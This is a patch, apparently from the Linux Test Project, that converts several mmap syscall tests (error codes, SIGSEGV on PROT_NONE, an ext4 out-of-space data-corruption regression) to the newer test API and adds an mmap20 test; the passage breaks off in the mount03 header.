tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call mmap to map the temporary file 'TEMPFILE' - * with no access. - */ - errno = 0; - addr = mmap(0, page_sz, PROT_NONE, - MAP_FILE | MAP_SHARED, fildes, 0); - TEST_ERRNO = errno; - - /* Check for the return value of mmap() */ - if (addr == MAP_FAILED) { - tst_resm(TFAIL | TERRNO, "mmap() failed on %s", - TEMPFILE); - continue; - } - - /* - * Try to access the mapped region. This should - * generate a SIGSEGV which will be caught below. - * - * This is wrapped by the sigsetjmp() call that will - * take care of restoring the program's context in an - * elegant way in conjunction with the call to - * siglongjmp() in the signal handler. - */ - if (sigsetjmp(env, 1) == 0) { - file_content = addr[0]; - } - - if (pass) { - tst_resm(TPASS, "Got SIGSEGV as expected"); - } else { - tst_resm(TFAIL, "Mapped memory region with NO " - "access is accessible"); - } - - /* Unmap mapped memory and reset pass in case we are looping */ - if (munmap((void *)addr, page_sz) != 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "munmap failed"); - } - pass = 0; - + if (sig == SIGSEGV) { + sig_flag = 1; + siglongjmp(env, 1); } - - cleanup(); - tst_exit(); } static void setup(void) { - char *tst_buff; - - tst_sig(NOFORK, sig_handler, cleanup); + char *buf; - TEST_PAUSE; + SAFE_SIGNAL(SIGSEGV, sig_handler); page_sz = getpagesize(); + buf = SAFE_MALLOC(page_sz); + memset(buf, 'A', page_sz); - /* Allocate space for the test buffer */ - if ((tst_buff = calloc(page_sz, sizeof(char))) == NULL) { - tst_brkm(TFAIL, NULL, "calloc failed (tst_buff)"); - } - - /* Fill the test buffer with the known data */ - memset(tst_buff, 'A', page_sz); - - tst_tmpdir(); - - /* Creat a temporary file used for mapping */ - if ((fildes = open(TEMPFILE, O_WRONLY | O_CREAT, 0666)) < 0) { - free(tst_buff); - tst_brkm(TFAIL | TERRNO, cleanup, "opening %s failed", - TEMPFILE); - } + fd = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, page_sz); + free(buf); +} - /* Write test buffer contents into temporary file */ - if (write(fildes, tst_buff, page_sz) != (int)page_sz) { - free(tst_buff); - tst_brkm(TFAIL, cleanup, "writing to %s failed", TEMPFILE); +static void run(void) +{ + addr = mmap(NULL, page_sz, PROT_NONE, MAP_FILE | MAP_SHARED, fd, 0); + if (addr == MAP_FAILED) { + tst_res(TFAIL | TERRNO, "mmap() of %s failed", TEMPFILE); + return; } - /* Free the memory allocated for test buffer */ - free(tst_buff); + if (sigsetjmp(env, 1) == 0) + tst_res(TINFO, "Trying to access mapped region: %c", addr[0]); - /* Make sure proper permissions set on file */ - if (fchmod(fildes, 0444) < 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "fchmod of %s failed", - TEMPFILE); - } + if (sig_flag) + tst_res(TPASS, "Received SIGSEGV signal as expected"); + else + tst_res(TFAIL, "SIGSEGV signal not received"); - /* Close the temporary file opened for write */ - if (close(fildes) < 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "closing %s failed", - TEMPFILE); - } + SAFE_MUNMAP((char *)addr, page_sz); - /* Open the temporary file again for reading */ - if ((fildes = open(TEMPFILE, O_RDONLY)) < 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "opening %s readonly failed", - TEMPFILE); - } -} - -/* - * sig_handler() - Signal Catching function. - * This function gets executed when the test process receives - * the signal SIGSEGV while trying to access the contents of memory which - * is not accessible. - */ -static void sig_handler(int sig) -{ - if (sig == SIGSEGV) { - /* set the global variable and jump back */ - pass = 1; - siglongjmp(env, 1); - } else { - tst_brkm(TBROK, cleanup, "received an unexpected signal: %d", - sig); - } + sig_flag = 0; } static void cleanup(void) { - close(fildes); - tst_rmdir(); + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/mmap/mmap06.c b/testcases/kernel/syscalls/mmap/mmap06.c index fb7c4925..615743fa 100755 --- a/testcases/kernel/syscalls/mmap/mmap06.c +++ b/testcases/kernel/syscalls/mmap/mmap06.c @@ -1,143 +1,83 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test Description: - * Call mmap() to map a file creating a mapped region with read access - * under the following conditions - - * - The prot parameter is set to PROT_READ - * - The file descriptor is open for writing. +/*\ + * [Description] * - * The call should fail to map the file. + * Verify that, mmap() call fails with errno: * - * Expected Result: - * mmap() should fail returning -1 and errno should get set to EACCES. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer + * - EACCES, when a file mapping is requested but the file descriptor is not open for reading. + * - EINVAL, when length argument is 0. + * - EINVAL, when flags contains none of MAP_PRIVATE, MAP_SHARED, or MAP_SHARED_VALIDATE. */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" - -#define TEMPFILE "mmapfile" -char *TCID = "mmap06"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" +#define MMAPSIZE 1024 +#define TEMPFILE "mmapfile" static size_t page_sz; -static char *addr; -static int fildes; - -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) -{ - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call mmap to map the temporary file 'TEMPFILE' - * with read access. - */ - errno = 0; - addr = mmap(0, page_sz, PROT_READ, - MAP_FILE | MAP_SHARED, fildes, 0); - TEST_ERRNO = errno; - - /* Check for the return value of mmap() */ - if (addr != MAP_FAILED) { - tst_resm(TFAIL | TERRNO, - "mmap() returned invalid value, expected: %p", - MAP_FAILED); - /* Unmap the mapped memory */ - if (munmap(addr, page_sz) != 0) { - tst_resm(TBROK, "munmap() failed"); - cleanup(); - } - continue; - } - if (TEST_ERRNO == EACCES) { - tst_resm(TPASS, "mmap failed with EACCES"); - } else { - tst_resm(TFAIL | TERRNO, - "mmap failed with unexpected errno"); - } - } - cleanup(); - tst_exit(); - -} +static int fd; + +static struct tcase { + size_t length; + int prot; + int flags; + int exp_errno; +} tcases[] = { + {MMAPSIZE, PROT_WRITE, MAP_FILE | MAP_PRIVATE, EACCES}, + {MMAPSIZE, PROT_WRITE, MAP_FILE | MAP_SHARED, EACCES}, + {MMAPSIZE, PROT_READ, MAP_FILE | MAP_PRIVATE, EACCES}, + {MMAPSIZE, PROT_READ, MAP_FILE | MAP_SHARED, EACCES}, + {MMAPSIZE, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, EACCES}, + {MMAPSIZE, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, EACCES}, + {0, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, EINVAL}, + {MMAPSIZE, PROT_READ | PROT_WRITE, MAP_FILE, EINVAL} +}; static void setup(void) { - char *tst_buff; - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + char *buf; page_sz = getpagesize(); + buf = SAFE_MALLOC(page_sz); + memset(buf, 'A', page_sz); - /* Allocate space for the test buffer */ - if ((tst_buff = calloc(page_sz, sizeof(char))) == NULL) { - tst_brkm(TFAIL, NULL, "calloc() failed (tst_buff)"); - } + fd = SAFE_OPEN(TEMPFILE, O_WRONLY | O_CREAT, 0666); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, page_sz); + free(buf); +} - /* Fill the test buffer with the known data */ - memset(tst_buff, 'A', page_sz); +static void run(unsigned int i) +{ + struct tcase *tc = &tcases[i]; - tst_tmpdir(); + TESTPTR(mmap(NULL, tc->length, tc->prot, tc->flags, fd, 0)); - /* Creat a temporary file used for mapping */ - if ((fildes = open(TEMPFILE, O_WRONLY | O_CREAT, 0666)) < 0) { - free(tst_buff); - tst_brkm(TFAIL, cleanup, "opening %s failed", TEMPFILE); + if (TST_RET_PTR != MAP_FAILED) { + tst_res(TFAIL, "mmap() was successful unexpectedly"); + SAFE_MUNMAP(TST_RET_PTR, MMAPSIZE); + } else if (TST_ERR == tc->exp_errno) { + tst_res(TPASS | TERRNO, "mmap() failed with"); + } else { + tst_res(TFAIL | TERRNO, "mmap() failed unexpectedly"); } - - /* Write test buffer contents into temporary file */ - if (write(fildes, tst_buff, page_sz) < (ssize_t)page_sz) { - free(tst_buff); - tst_brkm(TFAIL, cleanup, "writing to %s failed", TEMPFILE); - } - - free(tst_buff); } static void cleanup(void) { - close(fildes); - tst_rmdir(); + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/mmap/mmap08.c b/testcases/kernel/syscalls/mmap/mmap08.c index f2daf45a..5c9fd782 100755 --- a/testcases/kernel/syscalls/mmap/mmap08.c +++ b/testcases/kernel/syscalls/mmap/mmap08.c @@ -1,142 +1,53 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test Description: - * Verify that mmap() fails to map a file creating a mapped region - * when the file specified by file descriptor is not valid. - * - * Expected Result: - * mmap() should fail returning -1 and errno should get set to EBADF. +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer + * verify that, mmap() calls fails with errno EBADF when a file mapping + * is requested but the fd is not a valid file descriptor. */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" -#define TEMPFILE "mmapfile" - -char *TCID = "mmap08"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" +#define TEMPFILE "mmapfile" static size_t page_sz; -static char *addr; -static int fildes; +static int fd; -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) +static void setup(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call mmap to map the temporary file 'TEMPFILE' - * which is already closed. so, fildes is not valid. - */ - errno = 0; - addr = mmap(0, page_sz, PROT_WRITE, - MAP_FILE | MAP_SHARED, fildes, 0); - TEST_ERRNO = errno; - - /* Check for the return value of mmap() */ - if (addr != MAP_FAILED) { - tst_resm(TFAIL, "mmap() didn't fail (%p != %p)", - addr, MAP_FAILED); - /* Unmap the mapped memory */ - if (munmap(addr, page_sz) != 0) { - tst_brkm(TBROK, cleanup, "munmap() failed"); - } - continue; - } - if (TEST_ERRNO == EBADF) { - tst_resm(TPASS, "mmap failed with EBADF"); - } else { - tst_resm(TFAIL | TERRNO, - "mmap failed with an invalid errno"); - } - } - - cleanup(); - tst_exit(); + fd = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666); + SAFE_CLOSE(fd); } -static void setup(void) +static void run(void) { - char *tst_buff; - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - page_sz = getpagesize(); - - if ((tst_buff = calloc(page_sz, sizeof(char))) == NULL) { - tst_brkm(TFAIL, NULL, - "calloc() failed to allocate space for tst_buff"); - } - - /* Fill the test buffer with the known data */ - memset(tst_buff, 'A', page_sz); - - tst_tmpdir(); - - /* Creat a temporary file used for mapping */ - if ((fildes = open(TEMPFILE, O_WRONLY | O_CREAT, 0666)) < 0) { - free(tst_buff); - tst_brkm(TFAIL, cleanup, "opening %s failed", TEMPFILE); - } - - /* Write test buffer contents into temporary file */ - if (write(fildes, tst_buff, page_sz) != (int)page_sz) { - free(tst_buff); - tst_brkm(TFAIL, cleanup, "writing to %s failed", TEMPFILE); - } - - /* Free the memory allocated for test buffer */ - free(tst_buff); - - /* Close the temporary file opened for writing */ - if (close(fildes) < 0) { - tst_brkm(TFAIL, cleanup, "closing %s failed", TEMPFILE); + TESTPTR(mmap(NULL, page_sz, PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0)); + + if (TST_RET_PTR != MAP_FAILED) { + tst_res(TFAIL, "mmap() passed unexpectedly"); + SAFE_MUNMAP(TST_RET_PTR, page_sz); + } else if (TST_ERR == EBADF) { + tst_res(TPASS, "mmap() failed with EBADF"); + } else { + tst_res(TFAIL | TERRNO, "mmap() failed with an invalid errno"); } } static void cleanup(void) { - tst_rmdir(); + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/mmap/mmap12.c b/testcases/kernel/syscalls/mmap/mmap12.c index 2c0ebfb2..995a2bab 100755 --- a/testcases/kernel/syscalls/mmap/mmap12.c +++ b/testcases/kernel/syscalls/mmap/mmap12.c @@ -135,5 +135,4 @@ static struct tst_test test = { .cleanup = cleanup, .test_all = verify_mmap, .needs_tmpdir = 1, - .min_kver = "2.6.25", }; diff --git a/testcases/kernel/syscalls/mmap/mmap16.c b/testcases/kernel/syscalls/mmap/mmap16.c index 0d1fc3e9..4e0d8a3f 100755 --- a/testcases/kernel/syscalls/mmap/mmap16.c +++ b/testcases/kernel/syscalls/mmap/mmap16.c @@ -1,131 +1,135 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2015 Fujitsu Ltd. - * Author: Xiaoguang Wang - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (c) 2015 Fujitsu Ltd. Xiaoguang Wang + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ -/* - * This is a regression test for commit: - * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/ - * commit/?id=90a8020 - * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/ - * commit/?id=d6320cb +/*\ + * [Description] + * + * This is a regression test for a silent data corruption for a mmaped file + * when filesystem gets out of space. + * + * Fixed by commits: + * + * commit 0572639ff66dcffe62d37adfe4c4576f9fc398f4 + * Author: Xiaoguang Wang + * Date: Thu Feb 12 23:00:17 2015 -0500 + * + * ext4: fix mmap data corruption in nodelalloc mode when blocksize < pagesize + * + * commit d6320cbfc92910a3e5f10c42d98c231c98db4f60 + * Author: Jan Kara + * Date: Wed Oct 1 21:49:46 2014 -0400 + * + * ext4: fix mmap data corruption when blocksize < pagesize */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include +#include +#include +#include #include +#include +#include "tst_test.h" -#include "test.h" -#include "safe_macros.h" +#define MNTPOINT "mntpoint" +#define FILE_PARENT "mntpoint/testfilep" +#define FILE_CHILD "mntpoint/testfilec" +#define FS_BLOCKSIZE 1024 +#define LOOPS 10 -#define MNTPOINT "mntpoint" -#define FS_BLOCKSIZE 1024 -#define SUB_LOOPCOUNT 10 +static int parentfd = -1; +static int childfd = -1; -static void setup(void); -static void cleanup(void); -static void do_child(void); -static void do_test(void); +static void do_child(void) +{ + int offset; + int page_size; + char buf[FS_BLOCKSIZE]; + char *addr = NULL; -static const char *device; -static const char *fs_type = "ext4"; -static int mount_flag; -static int chdir_flag; -static int parentfd = -1; + page_size = getpagesize(); -static int page_size; -static int bug_reproduced; + childfd = SAFE_OPEN(FILE_CHILD, O_RDWR | O_CREAT, 0666); -char *TCID = "mmap16"; -int TST_TOTAL = 1; + memset(buf, 'a', FS_BLOCKSIZE); + SAFE_WRITE(SAFE_WRITE_ALL, childfd, buf, FS_BLOCKSIZE); -int main(int ac, char **av) -{ - int i, lc; + /* + * In case mremap() may fail because that memory area can not be + * expanded at current virtual address(MREMAP_MAYMOVE is not set), + * we first do a mmap(page_size * 2) operation to reserve some + * free address space. + */ + addr = SAFE_MMAP(NULL, page_size * 2, PROT_WRITE | PROT_READ, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + SAFE_MUNMAP(addr, page_size * 2); - tst_parse_opts(ac, av, NULL, NULL); + addr = SAFE_MMAP(addr, FS_BLOCKSIZE, PROT_WRITE | PROT_READ, MAP_SHARED, childfd, 0); - setup(); + addr[0] = 'a'; + + SAFE_FTRUNCATE(childfd, page_size * 2); + + addr = mremap(addr, FS_BLOCKSIZE, 2 * page_size, 0); + if (addr == MAP_FAILED) + tst_brk(TBROK | TERRNO, "mremap failed unexpectedly"); /* - * If child process was killed by SIGBUS, indeed that can not guarantee - * this bug must have been fixed, If we're luckily enough, virtual - * memory subsystem happen to decide that it is time to write dirty - * pages, it will make mapped pages write-protect, so ->page_mkwrite() - * still will be called, child process will be killed by SIGBUS, but - * it's not because of above fixing patches. So here we run this test - * 10 times, if once, child process exits normally, we can sure that - * this bug is not fixed. + * Let parent process consume FS free blocks as many as possible, then + * there'll be no free blocks allocated for this new file mmaping for + * offset starting at 1024, 2048, or 3072. If this above kernel bug + * has been fixed, usually child process will killed by SIGBUS signal, + * if not, the data 'A', 'B', 'C' will be silently discarded later when + * kernel writepage is called, that means data corruption. */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; + TST_CHECKPOINT_WAKE_AND_WAIT(0); - for (i = 0; i < SUB_LOOPCOUNT; i++) - do_test(); - } + for (offset = FS_BLOCKSIZE; offset < page_size; offset += FS_BLOCKSIZE) + addr[offset] = 'a'; - if (bug_reproduced) - tst_resm(TFAIL, "Bug is reproduced!"); - else - tst_resm(TPASS, "Bug is not reproduced!"); + SAFE_MUNMAP(addr, 2 * page_size); + SAFE_CLOSE(childfd); - cleanup(); - tst_exit(); + exit(1); } -static void do_test(void) +static void run_single(void) { int ret, status; pid_t child; char buf[FS_BLOCKSIZE]; + int bug_reproduced = 0; - SAFE_TOUCH(cleanup, "testfilep", 0644, NULL); - SAFE_TOUCH(cleanup, "testfilec", 0644, NULL); - - child = tst_fork(); - switch (child) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork failed"); - case 0: + child = SAFE_FORK(); + if (!child) { do_child(); - default: - parentfd = SAFE_OPEN(cleanup, "testfilep", O_RDWR); - memset(buf, 'a', FS_BLOCKSIZE); - - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); - while (1) { - ret = write(parentfd, buf, FS_BLOCKSIZE); - if (ret < 0) { - if (errno == ENOSPC) { - break; - } else { - tst_brkm(TBROK | TERRNO, cleanup, - "write failed unexpectedly"); - } - } + return; + } + + parentfd = SAFE_OPEN(FILE_PARENT, O_RDWR | O_CREAT, 0666); + + memset(buf, 'a', FS_BLOCKSIZE); + + TST_CHECKPOINT_WAIT(0); + + while (1) { + ret = write(parentfd, buf, FS_BLOCKSIZE); + if (ret < 0) { + if (errno == ENOSPC) + break; + + tst_brk(TBROK | TERRNO, "write failed unexpectedly"); } - SAFE_CLOSE(cleanup, parentfd); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); } - wait(&status); + SAFE_CLOSE(parentfd); + + TST_CHECKPOINT_WAKE(0); + + SAFE_WAITPID(child, &status, 0); if (WIFEXITED(status) && WEXITSTATUS(status) == 1) { bug_reproduced = 1; } else { @@ -133,113 +137,62 @@ static void do_test(void) * If child process was killed by SIGBUS, bug is not reproduced. */ if (!WIFSIGNALED(status) || WTERMSIG(status) != SIGBUS) { - tst_brkm(TBROK | TERRNO, cleanup, - "child process terminate unexpectedly"); + tst_brk(TBROK | TERRNO, "child process terminate unexpectedly with status %s", + tst_strstatus(status)); } } - SAFE_UNLINK(cleanup, "testfilep"); - SAFE_UNLINK(cleanup, "testfilec"); -} - -static void setup(void) -{ - const char *fs_opts[3] = {"-b", "1024", NULL}; - const char *extra_opts[] = {"10240", NULL}; - - tst_sig(FORK, DEF_HANDLER, NULL); - tst_require_root(); - - TEST_PAUSE; - tst_tmpdir(); - - TST_CHECKPOINT_INIT(tst_rmdir); - - page_size = getpagesize(); - - device = tst_acquire_device(cleanup); - if (!device) - tst_brkm(TCONF, cleanup, "Failed to obtain block device"); - tst_mkfs(cleanup, device, fs_type, fs_opts, extra_opts); - - SAFE_MKDIR(cleanup, MNTPOINT, 0755); - /* - * Disable ext4 delalloc feature, so block will be allocated - * as soon as possible - */ - SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, "nodelalloc"); - mount_flag = 1; - - SAFE_CHDIR(cleanup, MNTPOINT); - chdir_flag = 1; + SAFE_UNLINK(FILE_PARENT); + SAFE_UNLINK(FILE_CHILD); + if (bug_reproduced) + tst_res(TFAIL, "bug is reproduced"); + else + tst_res(TPASS, "bug is not reproduced"); } -static void do_child(void) +static void run(void) { - int fd, offset; - char buf[FS_BLOCKSIZE]; - char *addr = NULL; + int i; - /* - * We have changed SIGBUS' handler in parent process by calling - * tst_sig(FORK, DEF_HANDLER, NULL), so here just restore it. - */ - if (signal(SIGBUS, SIG_DFL) == SIG_ERR) - tst_brkm(TBROK | TERRNO, NULL, "signal(SIGBUS) failed"); - - memset(buf, 'a', FS_BLOCKSIZE); - fd = SAFE_OPEN(NULL, "testfilec", O_RDWR); - SAFE_WRITE(NULL, 1, fd, buf, FS_BLOCKSIZE); - - /* - * In case mremap() may fail because that memory area can not be - * expanded at current virtual address(MREMAP_MAYMOVE is not set), - * we first do a mmap(page_size * 2) operation to reserve some - * free address space. - */ - addr = SAFE_MMAP(NULL, NULL, page_size * 2, PROT_WRITE | PROT_READ, - MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, -1, 0); - SAFE_MUNMAP(NULL, addr, page_size * 2); - - addr = SAFE_MMAP(NULL, addr, FS_BLOCKSIZE, PROT_WRITE | PROT_READ, - MAP_SHARED, fd, 0); - - addr[0] = 'a'; - - SAFE_FTRUNCATE(NULL, fd, page_size * 2); - addr = mremap(addr, FS_BLOCKSIZE, 2 * page_size, 0); - if (addr == MAP_FAILED) - tst_brkm(TBROK | TERRNO, NULL, "mremap failed unexpectedly"); - - /* - * Let parent process consume FS free blocks as many as possible, then - * there'll be no free blocks allocated for this new file mmaping for - * offset starting at 1024, 2048, or 3072. If this above kernel bug - * has been fixed, usually child process will killed by SIGBUS signal, - * if not, the data 'A', 'B', 'C' will be silently discarded later when - * kernel writepage is called, that means data corruption. - */ - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); - TST_SAFE_CHECKPOINT_WAIT2(NULL, 0, 60*1000); - - for (offset = FS_BLOCKSIZE; offset < page_size; offset += FS_BLOCKSIZE) - addr[offset] = 'a'; - - SAFE_MUNMAP(NULL, addr, 2 * page_size); - SAFE_CLOSE(NULL, fd); - exit(TFAIL); + for (i = 0; i < LOOPS; i++) + run_single(); } static void cleanup(void) { + if (childfd >= 0) + SAFE_CLOSE(childfd); + if (parentfd >= 0) - close(parentfd); - if (chdir_flag && chdir("..")) - tst_resm(TWARN | TERRNO, "chdir('..') failed"); - if (mount_flag && tst_umount(MNTPOINT) < 0) - tst_resm(TWARN | TERRNO, "umount device:%s failed", device); - if (device) - tst_release_device(device); - tst_rmdir(); + SAFE_CLOSE(parentfd); } + +static struct tst_test test = { + .test_all = run, + .cleanup = cleanup, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, + .mount_device = 1, + .mntpoint = MNTPOINT, + .dev_fs_type = "ext4", + .dev_fs_opts = (const char *const[]){ + "-b", + "1024", + NULL, + }, + .dev_extra_opts = (const char *const[]){ + "10240", + NULL, + }, + .needs_cmds = (const char *const[]){ + "mkfs.ext4", + NULL, + }, + .tags = (const struct tst_tag[]){ + {"linux-git", "d6320cbfc929"}, + {"linux-git", "0572639ff66d"}, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/mmap/mmap17.c b/testcases/kernel/syscalls/mmap/mmap17.c index 0001c379..39703fbd 100755 --- a/testcases/kernel/syscalls/mmap/mmap17.c +++ b/testcases/kernel/syscalls/mmap/mmap17.c @@ -17,7 +17,6 @@ #include #include #include -#include #include #include #include @@ -61,11 +60,11 @@ static void test_mmap(void) str_len = strlen(str); - SAFE_WRITE(1, fd_file1, str, str_len); + SAFE_WRITE(SAFE_WRITE_ALL, fd_file1, str, str_len); mapped_address = SAFE_MMAP(NULL, str_len, PROT_WRITE, MAP_PRIVATE, fd_file1, 0); - SAFE_WRITE(1, fd_file2, str, str_len); + SAFE_WRITE(SAFE_WRITE_ALL, fd_file2, str, str_len); address = mmap(mapped_address, str_len, PROT_WRITE, MAP_PRIVATE | MAP_FIXED_NOREPLACE, fd_file2, 0); diff --git a/testcases/kernel/syscalls/mmap/mmap19.c b/testcases/kernel/syscalls/mmap/mmap19.c index 734a3a23..90b3f45b 100755 --- a/testcases/kernel/syscalls/mmap/mmap19.c +++ b/testcases/kernel/syscalls/mmap/mmap19.c @@ -72,8 +72,8 @@ static void setup(void) f1 = SAFE_OPEN(tmp1, O_RDWR | O_CREAT, S_IREAD | S_IWRITE); f2 = SAFE_OPEN(tmp2, O_RDWR | O_CREAT, S_IREAD | S_IWRITE); - SAFE_WRITE(1, f1, str1, strlen(str1)); - SAFE_WRITE(1, f2, str2, strlen(str2)); + SAFE_WRITE(SAFE_WRITE_ALL, f1, str1, strlen(str1)); + SAFE_WRITE(SAFE_WRITE_ALL, f2, str2, strlen(str2)); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/mmap/mmap20.c b/testcases/kernel/syscalls/mmap/mmap20.c new file mode 100644 index 00000000..02d150e4 --- /dev/null +++ b/testcases/kernel/syscalls/mmap/mmap20.c @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 Paulson Raja L + */ + +/*\ + * [Description] + * + * Test mmap(2) with MAP_SHARED_VALIDATE flag. + * + * Test expected EOPNOTSUPP errno when testing mmap(2) with MAP_SHARED_VALIDATE + * flag and invalid flag. + */ + +#include +#include +#include +#include "tst_test.h" +#include "lapi/mmap.h" + +#define TEST_FILE "file_to_mmap" +#define TEST_FILE_SIZE 1024 +#define INVALID_FLAG (1 << 10) + +static int fd = -1; +static void *addr; + +static void setup(void) +{ + fd = SAFE_OPEN(TEST_FILE, O_CREAT | O_RDWR, 0600); + + if (tst_fill_file(TEST_FILE, 'a', TEST_FILE_SIZE, 1)) + tst_brk(TBROK, "Could not fill the testfile"); +} + +static void cleanup(void) +{ + if (fd > -1) + SAFE_CLOSE(fd); + + if (addr && addr != MAP_FAILED) + SAFE_MUNMAP(addr, TEST_FILE_SIZE); +} + +static void test_mmap(void) +{ + addr = mmap(NULL, TEST_FILE_SIZE, PROT_READ | PROT_WRITE, + INVALID_FLAG | MAP_SHARED_VALIDATE, fd, 0); + + if (addr != MAP_FAILED) + tst_res(TFAIL | TERRNO, "mmap() is successful, but it should have failed"); + else if (errno == EOPNOTSUPP) + tst_res(TPASS, "mmap() failed with errno set to EOPNOTSUPP"); + else + tst_res(TFAIL | TERRNO, "mmap() failed with unexpected error"); +} + +static struct tst_test test = { + .min_kver = "4.15", + .setup = setup, + .cleanup = cleanup, + .test_all = test_mmap, + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/mount/.gitignore b/testcases/kernel/syscalls/mount/.gitignore index 81f60154..80885dbf 100755 --- a/testcases/kernel/syscalls/mount/.gitignore +++ b/testcases/kernel/syscalls/mount/.gitignore @@ -1,7 +1,8 @@ /mount01 /mount02 /mount03 -/mount03_setuid_test +/mount03_suid_child /mount04 /mount05 /mount06 +/mount07 diff --git a/testcases/kernel/syscalls/mount/mount03.c b/testcases/kernel/syscalls/mount/mount03.c index 25f99bbf..98d5933b 100755 --- a/testcases/kernel/syscalls/mount/mount03.c +++ b/testcases/kernel/syscalls/mount/mount03.c @@ -1,389 +1,263 @@ +// SPDX-License-Identifier: GPL-2.0 /* + * Copyright (c) Linux Test Project, 2022 * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * */ -/* - * DESCRIPTION - * Check for basic mount(2) system call flags. +/*\ + * [Description] + * + * Check mount(2) system call with various flags. + * + * Verify that mount(2) syscall passes for each flag setting and validate + * the flags: * - * Verify that mount(2) syscall 